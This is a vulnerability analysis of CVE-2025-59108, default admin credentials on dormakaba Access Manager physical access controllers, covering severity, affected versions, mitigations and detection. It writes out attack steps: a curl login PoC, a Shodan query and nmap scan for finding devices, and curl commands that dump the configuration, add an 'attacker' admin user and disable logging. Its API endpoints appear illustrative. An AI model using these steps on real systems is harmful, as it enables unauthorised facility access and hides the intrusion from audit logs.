Technical Analysis of EUVD-2025-206368 (CVE-2025-59108)

Vulnerability: Default Credentials in dormakaba Access Manager Web Interface

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2025-206368 (CVE-2025-59108) describes a critical authentication weakness in dormakaba Access Manager devices, where the web interface is configured with a default password (admin) that is not enforced to be changed upon initial setup. This flaw allows unauthenticated attackers to gain administrative access to the device, leading to full system compromise.

CVSS v4.0 Severity Analysis

The vulnerability has been assigned a Base Score of 9.2 (Critical) with the following vector:

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

• Attack Vector (AV:N): Exploitable remotely over a network.
• Attack Complexity (AC:L): Low complexity; no special conditions required.
• Attack Requirements (AT:P): Requires some prior knowledge (default credentials).
• Privileges Required (PR:N): No privileges needed.
• User Interaction (UI:N): No user interaction required.
• Confidentiality (VC:H), Integrity (VI:H), Availability (VA:H): High impact on all three security pillars.
• Subsequent System Confidentiality (SC:N), Integrity (SI:N), Availability (SA:N): No further impact beyond the initial system.

Severity Justification

• Default credentials are a well-documented attack vector (MITRE ATT&CK T1078.001 – Valid Accounts: Default Accounts).
• The lack of password change enforcement exacerbates the risk, as administrators may overlook manual configuration.
• The high impact (VC/VI/VA:H) stems from the Access Manager’s role in physical security, where compromise could lead to unauthorized facility access, data exfiltration, or denial-of-service (DoS) conditions.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Pathways

1. Unauthenticated Remote Access

   • An attacker scans for exposed dormakaba Access Manager web interfaces (e.g., via Shodan, Censys, or masscan).
   • Using default credentials (admin:admin), the attacker logs in and gains full administrative control.

2. Lateral Movement & Privilege Escalation

   • Once inside, the attacker can:
     • Modify access control policies (e.g., grant unauthorized badge access).
     • Extract sensitive data (e.g., employee access logs, biometric templates).
     • Deploy malware (e.g., backdoors, ransomware) if the system has network connectivity to other critical infrastructure.
     • Disable security features (e.g., alarm systems, audit logging).

3. Supply Chain & Insider Threats

   • Third-party vendors with access to the system may exploit weak credentials.
   • Disgruntled employees could abuse default credentials to bypass security controls.

4. Chained Exploits

   • If the Access Manager is integrated with Active Directory (AD) or LDAP, an attacker could harvest credentials for further attacks.
   • If the system is exposed to the internet, it may be brute-forced (though admin:admin is trivial to guess).

Proof-of-Concept (PoC) Exploitation

A basic exploitation scenario:

curl -v -X POST "http://<TARGET_IP>/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "username=admin&password=admin"

If successful, the attacker receives an authentication token or session cookie, granting full access.

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3. Affected Systems & Software Versions

Vulnerable Products

The following dormakaba Access Manager versions are confirmed affected:

Product	Affected Versions	ENISA ID
Access Manager 92xx-K5	All versions	99b317d1-62a4-3c84-88b7-3bc929eb4697
Access Manager 92xx-K7	Versions < BAME 04.07.268	e1ebd696-c787-332b-a14d-d87c99d68405

Scope of Impact

• Physical Security Systems: dormakaba Access Managers are widely used in critical infrastructure (banks, data centers, government facilities, healthcare).
• Enterprise Deployments: Many organizations do not change default credentials, increasing exposure.
• IoT & OT Convergence: Some Access Managers integrate with building management systems (BMS), creating a bridge between IT and OT networks.

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Change Default Credentials

   • Enforce a password change upon first login.
   • Use strong, unique passwords (minimum 12 characters, mixed case, symbols).
   • Disable default accounts if possible.

2. Network Segmentation & Access Control

   • Restrict web interface access to trusted IP ranges (e.g., via firewall rules).
   • Disable remote administration if not required.
   • Implement VLAN segmentation to isolate Access Managers from corporate networks.

3. Disable Unnecessary Services

   • Disable HTTP (use HTTPS only).
   • Disable Telnet/SSH if not in use.
   • Close unused ports (e.g., 80, 443 if not needed).

4. Enable Logging & Monitoring

   • Enable audit logging for authentication attempts.
   • Set up alerts for failed login attempts (brute-force detection).
   • Integrate with SIEM (e.g., Splunk, ELK, QRadar) for centralized monitoring.

Long-Term Remediation (Strategic)

1. Patch Management

   • Upgrade to the latest firmware (BAME 04.07.268 or later for 92xx-K7).
   • Subscribe to dormakaba security advisories for future updates.

2. Multi-Factor Authentication (MFA)

   • Enforce MFA for all administrative access.
   • Use hardware tokens (YubiKey, RSA SecurID) or TOTP (Google Authenticator, Authy).

3. Zero Trust Architecture (ZTA)

   • Implement least-privilege access (role-based access control).
   • Use network micro-segmentation to limit lateral movement.

4. Vendor & Supply Chain Security

   • Audit third-party integrations (e.g., AD, LDAP, BMS).
   • Conduct penetration testing on Access Manager deployments.

5. Regulatory Compliance

   • Ensure compliance with:
     • NIS2 Directive (EU critical infrastructure).
     • ISO 27001 (Information Security Management).
     • GDPR (if processing personal data).

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Risks

• NIS2 Directive (EU 2022/2555): dormakaba Access Managers are likely used in critical infrastructure (energy, transport, healthcare), making this vulnerability a reportable incident under NIS2.
• GDPR (Art. 32): If the system processes personal data (e.g., employee access logs), failure to secure it could lead to fines of up to 4% of global revenue.
• ENISA Guidelines: The vulnerability aligns with ENISA’s "Top 15 Threats" (2023), particularly weak authentication and misconfigurations.

Threat Landscape Implications

• Increased Attack Surface: Many European organizations underestimate IoT/OT security, leaving Access Managers exposed.
• Ransomware & Extortion: Attackers could lock physical access systems and demand ransom (e.g., LockBit, BlackCat).
• State-Sponsored Threats: APT groups (e.g., APT29, Sandworm) may exploit such flaws for espionage or sabotage.
• Supply Chain Risks: dormakaba is a global vendor; a single vulnerability could impact multiple EU member states.

Recommendations for EU Organizations

1. Conduct a Risk Assessment

   • Identify all dormakaba Access Managers in use.
   • Assess network exposure (Shodan, internal scans).

2. Implement EU-Specific Controls

   • Align with ENISA’s "Good Practices for IoT Security".
   • Follow CERT-EU advisories for critical infrastructure protection.

3. Incident Response Planning

   • Develop playbooks for physical security system breaches.
   • Test backup & recovery procedures for Access Managers.

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6. Technical Details for Security Professionals

Vulnerability Root Cause

• Hardcoded Default Credentials: The firmware ships with admin:admin as the default login.
• Lack of Enforcement: No password change prompt on first login.
• Weak Password Policies: No minimum complexity requirements in affected versions.

Exploitation Technical Deep Dive

1. Discovery Phase

   • Shodan Query:

     http.title:"dormakaba Access Manager" port:80,443
     

   • Nmap Scan:

     nmap -p 80,443 --script http-default-accounts <TARGET_IP>
     

2. Authentication Bypass

   • HTTP POST Request:

     POST /login HTTP/1.1
     Host: <TARGET_IP>
     Content-Type: application/x-www-form-urlencoded
     
     username=admin&password=admin
     

   • Response Analysis:
     • If successful, returns a session cookie (e.g., JSESSIONID).
     • If failed, may return HTTP 401 Unauthorized.

3. Post-Exploitation Actions

   • Dump Configuration:

     curl -b "JSESSIONID=<SESSION_COOKIE>" "http://<TARGET_IP>/api/config/export"
     

   • Modify Access Rules:

     curl -X POST -b "JSESSIONID=<SESSION_COOKIE>" \
       -H "Content-Type: application/json" \
       -d '{"user":"attacker","access_level":"admin"}' \
       "http://<TARGET_IP>/api/users/add"
     

   • Disable Logging:

     curl -X POST -b "JSESSIONID=<SESSION_COOKIE>" \
       "http://<TARGET_IP>/api/logging/disable"
     

Detection & Forensics

1. Log Analysis

   • Successful Logins:

     [2026-01-26 12:34:56] INFO: User 'admin' logged in from IP 192.168.1.100
     

   • Failed Attempts:

     [2026-01-26 12:35:01] WARN: Failed login for 'admin' from IP 203.0.113.5
     

2. Network Traffic Analysis

   • Unusual HTTP POST requests to /login.
   • Multiple failed authentication attempts (brute-force indicator).

3. Endpoint Detection & Response (EDR/XDR)

   • Monitor for unusual process execution (e.g., curl or wget from the Access Manager).
   • Check for unexpected outbound connections (C2 callbacks).

Hardening Recommendations

Control	Implementation
Password Policy	Enforce 12+ character passwords, password rotation every 90 days.
Account Lockout	Lock account after 5 failed attempts.
Session Timeout	15-minute inactivity timeout.
TLS Enforcement	Disable HTTP, enforce TLS 1.2+.
IP Whitelisting	Restrict access to approved management IPs.
Firmware Updates	Automate patching where possible.
Backup & Recovery	Daily encrypted backups, test restore procedures.

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Conclusion

EUVD-2025-206368 (CVE-2025-59108) represents a critical security flaw in dormakaba Access Managers, exposing physical security systems to remote compromise. Given the high CVSS score (9.2) and widespread deployment in European critical infrastructure, organizations must immediately mitigate this risk through password changes, network segmentation, and firmware updates.

Failure to address this vulnerability could result in: ✅ Unauthorized physical access to sensitive facilities. ✅ Data breaches (GDPR violations). ✅ Ransomware attacks on physical security systems. ✅ Regulatory penalties under NIS2 and other EU cybersecurity laws.

Security teams should:

1. Identify all affected systems via asset inventory.
2. Apply patches or workarounds immediately.
3. Monitor for exploitation attempts via SIEM and EDR.
4. Conduct a post-mitigation penetration test to verify remediation.

For further details, refer to:

• dormakaba Security Advisory
• SEC Consult Vulnerability Report
• CVE-2025-59108 Details